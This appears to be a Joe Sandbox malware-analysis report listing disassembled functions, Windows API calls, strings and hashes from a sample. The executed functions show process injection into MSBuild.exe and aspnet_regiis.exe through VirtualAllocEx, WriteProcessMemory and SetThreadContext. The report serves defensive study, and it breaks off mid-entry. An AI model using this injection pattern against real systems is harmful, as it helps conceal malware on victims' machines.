Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: @0S
API String ID: 593203224-2734645871
Opcode ID: 92ad1f66b45990b0dc4a177f19bea95f850727d32a24c914be11eff3937edcad
Instruction ID: 9aa5b1636c479fa259e31b14a45db1933e2e39df208873efa0042b2ee715a1cb
Opcode Fuzzy Hash: 92ad1f66b45990b0dc4a177f19bea95f850727d32a24c914be11eff3937edcad
Instruction Fuzzy Hash: 9D015E35600205AFCB05DF18C895D9DBF79FF84714B1400A9E8019F3A1EB70EE40DB90

Function 00532070 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00532078
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 005320BC

Part of subcall function 0054F860: _Yarn.LIBCPMT ref: 0054F87F
Part of subcall function 0054F860: _Yarn.LIBCPMT ref: 0054F8A3

Strings

bad locale name, xrefs: 005320CB

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: f5a61fb4ff17cfbd21503167dee8cf5406c31fadb32973de655b1b5712af8ade
Instruction ID: cbd2506006c9eed543062d1c07f38f39e4a82e270a4588198cb0b9da3ad2956b
Opcode Fuzzy Hash: f5a61fb4ff17cfbd21503167dee8cf5406c31fadb32973de655b1b5712af8ade
Instruction Fuzzy Hash: 24F0F971101B509EE3709F7A9409783BEE4AF25714F044A2DE58AC7A42E775E508CBA5

Function 00557DDF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(0057D3B0,0000000C), ref: 00557DF2
ExitThread.KERNEL32 ref: 00557DF9

Strings

@0S, xrefs: 00557E2F

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: ErrorExitLastThread
String ID: @0S
API String ID: 1611280651-2734645871
Opcode ID: 4366152040101a8d496d82fdbcef0e3a16ffc43e8683f443535fe2688e676334
Instruction ID: f89585854c061751ae60a34adeb57f1ea9ca491b172208d787067f5710ff901b
Opcode Fuzzy Hash: 4366152040101a8d496d82fdbcef0e3a16ffc43e8683f443535fe2688e676334
Instruction Fuzzy Hash: 06F0FF7190020AAFDB00AFB0C82FA2E3F74FF85712F20054AF8059B291CB706809DBA1

Function 0054F0D3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0054F11B
___std_exception_destroy.LIBVCRUNTIME ref: 0054F132

Strings

Unknown exception, xrefs: 0054F0D6, 0054F0E6

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Sleep___std_exception_destroy
String ID: Unknown exception
API String ID: 2427919145-410509341
Opcode ID: 126fa565021b36db18fc74235e512c8fe88d60c5aa849e166d87ffde372a30b4
Instruction ID: 5d20a3f1e86636855fcda741c54bb541c3020ec65b394ad960db88e1afe9b6e3
Opcode Fuzzy Hash: 126fa565021b36db18fc74235e512c8fe88d60c5aa849e166d87ffde372a30b4
Instruction Fuzzy Hash: 50F089B470021157D744EB64DC6AB6E7EE5BFC8704F80009CF5499B282EA605E488B7A

Function 0055D4B8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000FA0,-00000020,0055DD21,-00000020,00000FA0,00000000,00000000,00000000,00000000,00531C72), ref: 0055D4F8

Strings

@0S, xrefs: 0055D4E8
InitializeCriticalSectionEx, xrefs: 0055D4C8

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: @0S$InitializeCriticalSectionEx
API String ID: 2593887523-1066972758
Opcode ID: 9c217a5cbc0498e090ce197daa17d63f31531f4994abdca063ddef146a1ee392
Instruction ID: cac9157a8aada71dd5d3c8994da4384d363d4152c1e8eccc1f4434efc339a5cf
Opcode Fuzzy Hash: 9c217a5cbc0498e090ce197daa17d63f31531f4994abdca063ddef146a1ee392
Instruction Fuzzy Hash: A8E09236141229F7DF222F41EC0AC9EBF26FB40B61B04C021FD1D162B1DBB28925F6A0

Function 0055D33E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0055D372

Strings

FlsAlloc, xrefs: 0055D34E
@0S, xrefs: 0055D368

Memory Dump Source

Source File: 00000003.00000002.1678973157.0000000000531000.00000020.00000001.01000000.00000006.sdmp, Offset: 00530000, based on PE: true

Associated: 00000003.00000002.1678936967.0000000000530000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679025395.000000000056E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679067944.000000000057F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1679109963.0000000000582000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_530000_explert.jbxd

Similarity

API ID: Alloc
String ID: @0S$FlsAlloc
API String ID: 2773662609-2747271807
Opcode ID: f9a7b41bdc714f6010c3359b959982d76c2a8132ed88a39159df1d2167b05e8e
Instruction ID: 689d130f5fac978268827926f3cfe3bd5150a4a818a02af3dc2befea866caea6
Opcode Fuzzy Hash: f9a7b41bdc714f6010c3359b959982d76c2a8132ed88a39159df1d2167b05e8e
Instruction Fuzzy Hash: 98E0C2766C2A24B3C3212A95AC1AD5F7E58FBA0F72B054822FD0D522819AB14A05B1E3

Analysis Process: HM3SOlbpH71yEXUIEAOeIiGX.exePID: 7064, Parent PID: 2852COMMON

Execution Graph

Execution Coverage:	19.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	600
Total number of Limit Nodes:	11

Executed Functions

Function 6C779140 Relevance: 134.1, APIs: 20, Strings: 49, Instructions: 13379injectionmemorythreadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNELBASE ref: 6C78089A
ShowWindow.USER32 ref: 6C7808B0
CreateProcessW.KERNELBASE ref: 6C784A3C
VirtualAlloc.KERNELBASE ref: 6C784BE1
Wow64GetThreadContext.KERNEL32 ref: 6C784C86
VirtualAllocEx.KERNELBASE ref: 6C784D36
VirtualAllocEx.KERNEL32 ref: 6C784DB9
WriteProcessMemory.KERNELBASE ref: 6C784E8D
WriteProcessMemory.KERNELBASE ref: 6C7852B5
ReadProcessMemory.KERNEL32 ref: 6C785DAF
WriteProcessMemory.KERNEL32 ref: 6C785F67
WriteProcessMemory.KERNELBASE ref: 6C786263
Wow64SetThreadContext.KERNEL32 ref: 6C7862B3
ResumeThread.KERNELBASE ref: 6C7862C8
CloseHandle.KERNEL32 ref: 6C786303
CloseHandle.KERNEL32 ref: 6C786317
VirtualAlloc.KERNEL32 ref: 6C786FB5
WriteProcessMemory.KERNEL32 ref: 6C787019
WriteProcessMemory.KERNEL32 ref: 6C787162
ReadProcessMemory.KERNEL32 ref: 6C787320

Strings

4EP, xrefs: 6C780372
,>O, xrefs: 6C77E40E
'%;$, xrefs: 6C780445
<9., xrefs: 6C78597B
u^K, xrefs: 6C783A23
"]@9, xrefs: 6C7837CF
${4, xrefs: 6C779160
:kQ, xrefs: 6C77D849
2n, xrefs: 6C7807D8
}FF, xrefs: 6C781534
K>H, xrefs: 6C783DFA
,,hK, xrefs: 6C78536F
h|&, xrefs: 6C77D575
}\:, xrefs: 6C780E6D
G\bn, xrefs: 6C77FAD0
@, xrefs: 6C784DB1
-Fd0, xrefs: 6C782CE9
-Fd0, xrefs: 6C782D3A
r^l, xrefs: 6C77E4E7
O#, xrefs: 6C7858FF
@Za_, xrefs: 6C77E13C
g>=, xrefs: 6C7835FE
zjm, xrefs: 6C77F659
h|&, xrefs: 6C77D514
D, xrefs: 6C7846ED
${4, xrefs: 6C784219
nex, xrefs: 6C7836EC
5xCP, xrefs: 6C7813FE
@Za_, xrefs: 6C77E0C6
&HLW, xrefs: 6C783732
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe, xrefs: 6C784885, 6C786F5C
m4e, xrefs: 6C77F108
w*h0, xrefs: 6C784122
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 6C78478F, 6C786F39
oF.5, xrefs: 6C7814E9
sHa=, xrefs: 6C782072
ntdll.dll, xrefs: 6C7808CA
jV%j, xrefs: 6C7837D4
9"S\, xrefs: 6C784B10
4Sq[, xrefs: 6C78610C
^$iE, xrefs: 6C785E14
zjm, xrefs: 6C77F6BA
Y')L, xrefs: 6C783ED8
}^2&, xrefs: 6C7825C0
#b, xrefs: 6C784063
r^l, xrefs: 6C77E469
kernel32.dll, xrefs: 6C7808B6
bm9R, xrefs: 6C7850EC
"]@9, xrefs: 6C783818

Memory Dump Source

Source File: 0000000A.00000002.1823513121.000000006C771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C770000, based on PE: true

Associated: 0000000A.00000002.1823473675.000000006C770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823663685.000000006C794000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823970113.000000006C813000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c770000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Yara matches

Similarity

API ID: Process$Memory$Write$AllocVirtual$Thread$CloseContextHandleReadWindowWow64$ConsoleCreateResumeShow
String ID: O#$h|&$h|&$"]@9$"]@9$${4$${4$&HLW$'%;$$,,hK$,>O$-Fd0$-Fd0$4EP$4Sq[$5xCP$9"S\$@$@Za_$@Za_$C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe$D$G\bn$K>H$Y')L$^$iE$bm9R$g>=$jV%j$kernel32.dll$m4e$ntdll.dll$nex$oF.5$sHa=$u^K$w*h0$}FF$}^2&$}\:$#b$2n$:kQ$<9.$r^l$r^l$zjm$zjm
API String ID: 284040131-2197671511
Opcode ID: 95b671818ef8acfe0fd623e850c266b0b93884f68d03a5837dbd46a8038d40f5
Instruction ID: 08528facda73ab212e0b36ba9ad94fb1af38fdaf0d83c2c0265de80a2907d77d
Opcode Fuzzy Hash: 95b671818ef8acfe0fd623e850c266b0b93884f68d03a5837dbd46a8038d40f5
Instruction Fuzzy Hash: 18341232A422158FCF24CE3CCA953DD77F1AB47354F1052B9E91DABAA4C6359AC98F01

Function 6C771340 Relevance: 75.4, APIs: 19, Strings: 20, Instructions: 7167filememoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C7773A9
GetModuleHandleA.KERNEL32 ref: 6C7773E7
K32GetModuleInformation.KERNEL32 ref: 6C77751A
GetModuleFileNameA.KERNEL32 ref: 6C777543
CreateFileA.KERNELBASE ref: 6C777599
CreateFileMappingA.KERNEL32 ref: 6C7776C3
CloseHandle.KERNEL32 ref: 6C777852
MapViewOfFile.KERNELBASE ref: 6C777953
VirtualProtect.KERNELBASE ref: 6C777C05
VirtualProtect.KERNELBASE ref: 6C777D2C
FindCloseChangeNotification.KERNELBASE ref: 6C777E70
CloseHandle.KERNEL32 ref: 6C777E81
CloseHandle.KERNEL32 ref: 6C777F49
CloseHandle.KERNEL32 ref: 6C778606
VirtualProtect.KERNEL32 ref: 6C778720
CloseHandle.KERNEL32 ref: 6C77874E
CloseHandle.KERNEL32 ref: 6C77875F
CloseHandle.KERNEL32 ref: 6C778780

Strings

ud'I, xrefs: 6C774375
,Vh, xrefs: 6C77518F
P/jU, xrefs: 6C77536E
r$c, xrefs: 6C7783ED
Ag, xrefs: 6C775306
xl, xrefs: 6C777357
F(O(, xrefs: 6C776492
,Vh, xrefs: 6C77512F
|RD, xrefs: 6C7742F1
Qg`~, xrefs: 6C774B38
Ere<, xrefs: 6C776FB1
xi$, xrefs: 6C7776E2
ihc>, xrefs: 6C776124
y+=, xrefs: 6C7752A1
C*D, xrefs: 6C77383F
@, xrefs: 6C777BF9
y+=, xrefs: 6C775301
r$c, xrefs: 6C776001
Ere<, xrefs: 6C777002
`It, xrefs: 6C7768E7

Memory Dump Source

Source File: 0000000A.00000002.1823513121.000000006C771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C770000, based on PE: true

Associated: 0000000A.00000002.1823473675.000000006C770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823663685.000000006C794000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823970113.000000006C813000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c770000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Yara matches

Similarity

API ID: CloseHandle$File$ModuleProtectVirtual$Create$ChangeCurrentFindInformationMappingNameNotificationProcessView
String ID: `It$,Vh$,Vh$@$Ag$C*D$Ere<$Ere<$F(O($P/jU$Qg`~$ihc>$r$c$r$c$ud'I$xl$y+=$y+=$|RD$xi$
API String ID: 3322835611-3725121427
Opcode ID: ec2f3f451fc7971540879a5b43deacb91e63ededa1bd68646aa6713bcf62a866
Instruction ID: 42e49345f6b8e1f0790dd28b6266cb1631a71a63e928784a3565ed18b71fba5b
Opcode Fuzzy Hash: ec2f3f451fc7971540879a5b43deacb91e63ededa1bd68646aa6713bcf62a866
Instruction Fuzzy Hash: 4DC32435A40209CFCF24CE7CCA953D977F2AB43315F10866AD819EBBA1C73999899F50

Function 017B0EF8 Relevance: 2.7, Strings: 2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tefq, xrefs: 017B1112
Tefq, xrefs: 017B0FB5

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID: Tefq$Tefq
API String ID: 0-1395890369
Opcode ID: 56468eb93a435ddac1ca9cf912716419aa86a1ee337acf1ba413d1ee8f3d0332
Instruction ID: 56d2017d04a1036f0a7847b7fc284d82061f2d19de94b991966e467aa19d408b
Opcode Fuzzy Hash: 56468eb93a435ddac1ca9cf912716419aa86a1ee337acf1ba413d1ee8f3d0332
Instruction Fuzzy Hash: 0E71D171B042158FCB4A9F68C8D57EFFBB2FF85300B1584AAE405AF266D7319A01CB91

Function 017B0F98 Relevance: 2.6, Strings: 2, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tefq, xrefs: 017B1112
Tefq, xrefs: 017B0FB5

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID: Tefq$Tefq
API String ID: 0-1395890369
Opcode ID: a51add261e2416566a898d0709b043162b3d1c3f7035e443cf8da1db47e540b0
Instruction ID: aa0f73e94ea791de7d146ed055ce904a0f970c92793969c770ece53e58f5275b
Opcode Fuzzy Hash: a51add261e2416566a898d0709b043162b3d1c3f7035e443cf8da1db47e540b0
Instruction Fuzzy Hash: FD41A031B101198FCB149B69C9956AFFBF7FB88301F11856AE506EB3A4CB319E058B91

Function 6C787DD8 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6C787E1F
___scrt_uninitialize_crt.LIBCMT ref: 6C787E39

Memory Dump Source

Source File: 0000000A.00000002.1823513121.000000006C771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C770000, based on PE: true

Associated: 0000000A.00000002.1823473675.000000006C770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823663685.000000006C794000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823970113.000000006C813000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c770000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Yara matches

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: fe5fe32ff381cb7fef8f326e544e4c834207d601a7697e59c3ceb6430ae512da
Instruction ID: 3f5914126b08f71187cac84c84a97ee02950b38fe6acbe583f63d808d2ed52bc
Opcode Fuzzy Hash: fe5fe32ff381cb7fef8f326e544e4c834207d601a7697e59c3ceb6430ae512da
Instruction Fuzzy Hash: 1241E932F07215ABDB208F99CA48B9E7B75EB40798F114136FA1667B50D7304D45DBA0

Function 6C787E88 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6C787EC5
dllmain_crt_dispatch.LIBCMT ref: 6C787EDC
dllmain_raw.LIBCMT ref: 6C787F24
dllmain_crt_dispatch.LIBCMT ref: 6C787F37
dllmain_raw.LIBCMT ref: 6C787F4A

Memory Dump Source

Source File: 0000000A.00000002.1823513121.000000006C771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C770000, based on PE: true

Associated: 0000000A.00000002.1823473675.000000006C770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823663685.000000006C794000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823970113.000000006C813000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c770000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 87cadc4d65266e6985ea89307ea9ca25262f41189b7d44011df05b00bd902e67
Instruction ID: 3219fc177ab40acceef8cec4abb1e1cef2effe88d081af9386713f73c17f2a02
Opcode Fuzzy Hash: 87cadc4d65266e6985ea89307ea9ca25262f41189b7d44011df05b00bd902e67
Instruction Fuzzy Hash: 21219972F07155AFDB218E56CA44AAE3B79EF807D8F114135FA166BA10D3308D42DBE0

Function 6C787CD1 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6C787D1E

Part of subcall function 6C78819B: InitializeSListHead.KERNEL32(6C812220,6C787D28,6C799A90,00000010,6C787CB9,?,?,?,6C787EE1,?,00000001,?,?,00000001,?,6C799AD8), ref: 6C7881A0

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6C787D88

Memory Dump Source

Source File: 0000000A.00000002.1823513121.000000006C771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C770000, based on PE: true

Associated: 0000000A.00000002.1823473675.000000006C770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823663685.000000006C794000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823708292.000000006C79B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.1823970113.000000006C813000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c770000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Yara matches

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 3147518013b2f75b636d19f13c410e6d232088f382e1eb769cde18b9a1c61410
Instruction ID: 9b2adf686659f38833a91069674019c4616e35f162062f406a28a2a01055428e
Opcode Fuzzy Hash: 3147518013b2f75b636d19f13c410e6d232088f382e1eb769cde18b9a1c61410
Instruction Fuzzy Hash: F421A132747611AADB109BB4AB0E7ED77F09F1236CF20453AE76227FC2CB610148D6A5

Function 017B08B9 Relevance: .1, Instructions: 80
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d02f5c6e32308cc4f0a1aea2ce176258fbaa470dab076608c8e8179c3e6432af
Instruction ID: 220dd90ed0c803e652c4e736763d0e16469d2e5b4d2c53e0c4e082cd631d648a
Opcode Fuzzy Hash: d02f5c6e32308cc4f0a1aea2ce176258fbaa470dab076608c8e8179c3e6432af
Instruction Fuzzy Hash: 3F21D131A14205CFDB44DF79E99469BBBB3FB88300B20897AE415EB384DB34ED158B91

Function 017B3A70 Relevance: .1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4cb5dff04dc3d88807f010b886f1a8782fd98c6e355138515afdfaa261877ff
Instruction ID: 2b9a84f6a4f0c56641b0f5f25aa130a33a2995bf5c002b4c4727ab668b43e7dc
Opcode Fuzzy Hash: d4cb5dff04dc3d88807f010b886f1a8782fd98c6e355138515afdfaa261877ff
Instruction Fuzzy Hash: C2014731E152549FCB02CB74CC90ACA3FB3EF87310B0548E6D105EB696C6345D1AD3A2

Function 017B27A1 Relevance: .1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a045435ae22cc4ed82cfc2161d0670d68d09d47a9f3e1febb32618b95dee88a1
Instruction ID: 3b5e4ba097780265a042b06ee3d0d54b3942640879b579ee511547b511f0bd4c
Opcode Fuzzy Hash: a045435ae22cc4ed82cfc2161d0670d68d09d47a9f3e1febb32618b95dee88a1
Instruction Fuzzy Hash: 8C0145327461509BC7084A799DC4B57FFABBBC9310308C9B7A109CB26ACB38E9118291

Function 017B1681 Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0dc1f42c3a88a089df0363023267cb736dfd8f5c82d115af7342313a81097fd
Instruction ID: a24b0969a12a46b6d797d97d9507839f292445613cf95c608e9817182321cfe1
Opcode Fuzzy Hash: f0dc1f42c3a88a089df0363023267cb736dfd8f5c82d115af7342313a81097fd
Instruction Fuzzy Hash: E5012472B285419BC3088E2AADD0692FBA6FFC531135CC5BBC009CBA14CB709815CA93

Function 017B27B0 Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80d06d0d122d6037169e5a8675f6f3ae400ca44612a8e09358e22cf44e2d87a8
Instruction ID: 37613ca12080eeaf0b431674748d5fe85a19ce2238af9614a735d99de4c52110
Opcode Fuzzy Hash: 80d06d0d122d6037169e5a8675f6f3ae400ca44612a8e09358e22cf44e2d87a8
Instruction Fuzzy Hash: B4017621B461519BC30C4A3A5DC0667FEAFB7C8620344C933A509CB26ACF74E91182D0

Function 017B2F18 Relevance: .0, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6225d6b42d156651fa3730e4ba1cb0b49e181aa1517088e3d68ce89602808a8
Instruction ID: 0a377232be7516ff214ee446e0c9386b4ec3878ebf48033f31a195b0f39858da
Opcode Fuzzy Hash: f6225d6b42d156651fa3730e4ba1cb0b49e181aa1517088e3d68ce89602808a8
Instruction Fuzzy Hash: A001F4332185A06FC306CA2DDC2489EFFA5EBC522170DC266E969C7646C334F8158BE0

Function 017B2861 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1818944439.00000000017B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_17b0000_HM3SOlbpH71yEXUIEAOeIiGX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 339634f3bfc794f73bc28db22ed99f535b69dd5c063081d024880be2e61fdc22
Instruction ID: 7676f6b977ab64ad3b0f0edd1bfa12bcc29076ebdd3fdf1c9c365c91d45876c0
Opcode Fuzzy Hash: 339634f3bfc794f73bc28db22ed99f535b69dd5c063081d024880be2e61fdc22
Instruction Fuzzy Hash: 7201AD71714144ABC755CE39AC90A66BBE6FBC9210B18C5AAE109CB396CA60AC229B51

Function 017B1AA1 Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
